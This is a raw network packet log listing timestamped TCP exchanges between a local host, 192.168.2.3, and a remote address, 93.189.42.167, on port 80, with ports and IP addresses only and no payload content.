Jan 14, 2022 01:51:51.942945004 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942982912 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.942996025 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.943041086 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.943077087 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.943099022 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.943114996 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.943152905 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.943171024 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.943192959 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.943233013 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.943250895 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.943269968 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.943308115 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.943325996 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.943346024 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.943382978 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.943399906 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.943422079 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.943475962 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.973279953 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.995585918 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.995646954 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.995687008 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.995724916 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.995785952 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.995816946 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.995825052 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.995847940 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.995866060 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.995882988 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.995908022 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.995975018 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.995980978 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.996021032 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.996059895 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.996082067 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.996100903 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.996139050 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.996161938 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.996180058 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.996217012 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.996238947 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:51.996257067 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:51.996315002 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.025181055 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025244951 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025284052 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025326014 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025365114 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025372028 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.025403976 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025405884 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.025445938 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025464058 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.025490046 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025527954 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025542974 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.025568962 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025607109 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025621891 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.025650024 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025690079 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025707006 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.025727987 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025767088 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025793076 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.025820017 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025882959 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.025895119 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025942087 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025979996 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.025999069 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.026020050 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026058912 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026077032 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.026098967 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026135921 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026156902 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.026175976 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026215076 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026232958 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.026252985 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026290894 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026309967 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.026329994 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026370049 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026385069 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.026413918 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026449919 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026469946 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.026490927 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026530027 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.026546955 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.036984921 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.089804888 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.089906931 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.089952946 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090004921 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090038061 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090045929 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090068102 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090085983 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090118885 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090127945 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090168953 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090193987 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090214968 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090257883 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090295076 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090305090 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090338945 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090358973 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090382099 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090421915 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090439081 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090464115 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090502977 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090521097 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090543985 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090584993 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090606928 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090621948 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090662003 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090678930 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090701103 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090738058 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090759039 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090779066 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090817928 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090837955 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090857983 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090898991 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090915918 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.090939045 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090976954 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.090993881 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091016054 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091053963 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091075897 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091094017 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091130972 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091154099 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091171026 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091209888 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091228008 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091247082 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091285944 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091305971 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091325045 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091362000 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091382980 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091402054 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091439962 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091459990 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091480017 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091519117 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091536999 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091557026 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091594934 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091612101 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091634989 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091670990 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091689110 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091711044 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091748953 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091766119 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091788054 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091828108 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091844082 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091866016 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091905117 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091923952 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.091947079 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.091984034 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092000961 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092022896 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092061043 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092078924 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092101097 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092140913 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092156887 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092178106 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092216015 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092231035 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092255116 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092292070 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092310905 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092331886 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092369080 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092386961 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092410088 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092448950 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092466116 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092487097 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092525005 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092542887 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092565060 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092601061 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092622042 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092639923 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092678070 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092698097 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092717886 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092756987 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092776060 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092794895 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092833042 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092849970 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092871904 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092909098 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092927933 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.092950106 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.092987061 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.093007088 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.093027115 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.093067884 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.093082905 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.093105078 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.093142986 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.093161106 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.093182087 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.093219042 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.093238115 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.093257904 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.093295097 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.093313932 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.145070076 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145137072 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145157099 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.145178080 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145220041 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145236015 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.145260096 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145301104 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145318031 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.145353079 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145390987 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145400047 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.145430088 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145471096 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145482063 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.145510912 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145550966 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145560980 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.145590067 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145629883 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145643950 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.145673037 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145709038 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145721912 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.145750999 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145788908 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145802021 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.145828962 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145879984 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.145900965 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.145951033 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146007061 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146025896 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146044970 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146083117 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146106005 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146127939 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146163940 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146183968 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146204948 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146243095 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146266937 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146282911 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146322012 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146346092 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146368980 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146409035 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146429062 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146446943 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146482944 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146522045 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146528959 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146560907 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146581888 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146600008 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146641016 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146661997 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146678925 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146717072 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146743059 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146754980 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146794081 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146814108 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146833897 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146872044 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146888018 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146912098 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146954060 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.146965981 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.146991014 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.147030115 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.147041082 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.147069931 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.147105932 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.147118092 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.147145987 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.147182941 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.147195101 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.147222042 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.147270918 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.204180002 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.204329014 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.256747961 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.256809950 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.256849051 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.256886959 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.256925106 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.256954908 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.256972075 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.256984949 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.257013083 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.257019043 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.257051945 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.257091045 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.257110119 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.257129908 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.257168055 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.257186890 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.257209063 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.257249117 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.257267952 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.257289886 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.257328987 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.257354021 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.257355928 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:52.257415056 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:52.283324003 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:53.178479910 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:53.230330944 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:56.090728045 CET	49875	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:56.143817902 CET	80	49875	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:56.143901110 CET	49875	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:56.192806959 CET	49875	80	192.168.2.3	93.189.42.167
